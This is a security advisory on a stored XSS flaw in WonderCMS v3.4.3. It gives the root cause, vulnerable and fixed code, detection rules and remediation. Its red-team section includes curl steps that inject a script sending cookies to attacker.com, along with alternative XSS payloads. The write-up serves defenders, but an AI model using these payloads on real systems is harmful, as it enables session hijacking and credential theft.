CVE-2024-32743

Executive Summary

CVE-2024-32743 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in WonderCMS v3.4.3, specifically within the Security module under the Settings section. An authenticated attacker with administrative privileges can inject arbitrary JavaScript or HTML into the SITE LANGUAGE CONFIG parameter. This payload is stored and executed in the browser of any user who views the affected settings page, leading to session hijacking, credential theft, or defacement.

The vulnerability has a CVSS v3.1 base score of 4.8 (Medium) due to the requirement for authentication and user interaction. However, the lack of a vendor patch and the availability of public proof-of-concept code elevate the real-world risk. The EPSS score is 0.0%, indicating low exploitation activity at the time of analysis, but this may change as awareness grows.

Supply Chain & Package Security

WonderCMS is a flat-file PHP CMS distributed via GitHub and its official website. The vulnerability exists in the core application code, not in a third-party package. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to direct installations of WonderCMS v3.4.3.

CVSS Breakdown & Threat Level

Threat Level: Medium – Exploitation requires admin credentials, but once injected, any user visiting the settings page is affected. The lack of a patch increases long-term risk.

Deep Dive & Mechanics

The vulnerability resides in the saveLanguageConfig() function within WonderCMS's system/classes/Security.php file. The SITE LANGUAGE CONFIG parameter is stored directly into the site's configuration file (config.php) without proper sanitization or output encoding.

Root Cause: The application uses $_POST['SITE LANGUAGE CONFIG'] and writes it to the configuration file using file_put_contents(). When the configuration is later loaded and rendered in the admin panel's settings page, the injected payload is executed in the browser context.

Attack Flow:

1. Attacker logs in as admin.
2. Navigates to Settings > Security.
3. Injects payload into the SITE LANGUAGE CONFIG field (e.g., <script>alert('XSS')</script>).
4. Payload is stored in config.php.
5. Any user (including other admins) visiting the Security settings page triggers the payload.

Why It Works: The SITE LANGUAGE CONFIG value is echoed directly into the HTML without htmlspecialchars() or similar encoding. The application does not validate or sanitize the input before storage.

Vulnerable vs. Patched Code

Vulnerable Code (WonderCMS v3.4.3):

// system/classes/Security.php
public function saveLanguageConfig() {
    $config = $this->getConfig();
    $config['SITE LANGUAGE CONFIG'] = $_POST['SITE LANGUAGE CONFIG'];
    $this->saveConfig($config);
}

Patched Code (Hypothetical Fix):

// system/classes/Security.php
public function saveLanguageConfig() {
    $config = $this->getConfig();
    $config['SITE LANGUAGE CONFIG'] = htmlspecialchars($_POST['SITE LANGUAGE CONFIG'], ENT_QUOTES, 'UTF-8');
    $this->saveConfig($config);
}

Key Difference: The patched version applies htmlspecialchars() to encode special HTML characters before storage, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WonderCMS v3.4.3 installed and accessible.
• Valid admin credentials.

Step 1: Login

curl -c cookies.txt -b cookies.txt -X POST \
  -d "username=admin&password=yourpassword" \
  http://target.com/login

Step 2: Inject XSS Payload

curl -c cookies.txt -b cookies.txt -X POST \
  -d "SITE LANGUAGE CONFIG=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>" \
  http://target.com/admin/settings/security

Step 3: Trigger Payload

• Any admin visiting http://target.com/admin/settings/security will execute the script.
• The cookie is exfiltrated to attacker.com.

Alternative Payloads:

• <img src=x onerror=alert(1)>
• <svg onload=alert(1)>

Blue Team (Defense & Detection)

Detection:

• Monitor HTTP POST requests to /admin/settings/security containing suspicious SITE LANGUAGE CONFIG values.
• Look for <script>, <img onerror>, or <svg onload> patterns in logs.
• Use WAF rules to block common XSS payloads in the SITE LANGUAGE CONFIG parameter.

Prevention:

• Apply input validation: allow only alphanumeric characters and language codes (e.g., en, fr).
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Restrict admin panel access via IP whitelisting or VPN.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Modified config.php containing <script> tags in the SITE LANGUAGE CONFIG value.
• Unexpected entries in system/classes/Security.php (if attacker modified core files).

Network IOCs:

• HTTP POST requests to /admin/settings/security with SITE LANGUAGE CONFIG containing HTML/JavaScript.
• Outbound connections to attacker-controlled domains from the CMS server.

Log IOCs:

• Repeated admin login attempts from unusual IPs.
• Access logs showing POST /admin/settings/security followed by GET /admin/settings/security (victim viewing settings).

Detection Engineering

YARA Rule

rule CVE_2024_32743_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting WonderCMS SITE LANGUAGE CONFIG"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-32743"
    strings:
        $xss1 = /SITE LANGUAGE CONFIG.*<script/i
        $xss2 = /SITE LANGUAGE CONFIG.*<img[^>]+onerror/i
        $xss3 = /SITE LANGUAGE CONFIG.*<svg[^>]+onload/i
    condition:
        any of them
}

Sigma Rule

title: WonderCMS Stored XSS via SITE LANGUAGE CONFIG
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WonderCMS admin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/admin/settings/security'
        cs-request-body|contains: 'SITE LANGUAGE CONFIG'
    keywords:
        - '<script'
        - '<img onerror'
        - '<svg onload'
    condition: selection and keywords
falsepositives:
    - Legitimate admin updates with safe language codes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32743 WonderCMS Stored XSS Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/admin/settings/security"; http.request_body; content:"SITE LANGUAGE CONFIG"; pcre:"/(<script|<img[^>]+onerror|<svg[^>]+onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Security module if not required, or restrict access to the settings page via .htaccess:

   <LocationMatch "/admin/settings/security">
       Require ip 192.168.1.0/24
   </LocationMatch>
   

2. Apply a WAF rule to block XSS payloads in the SITE LANGUAGE CONFIG parameter.
3. Manually patch the vulnerable code by adding htmlspecialchars() as shown in the patched code section.

Long-Term Fix:

• Upgrade to a patched version once released by the vendor.
• Consider migrating to a more actively maintained CMS.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter requests:

  location /admin/settings/security {
      if ($request_body ~* "<script|<img onerror|<svg onload") {
          return 403;
      }
  }
  

Valters IT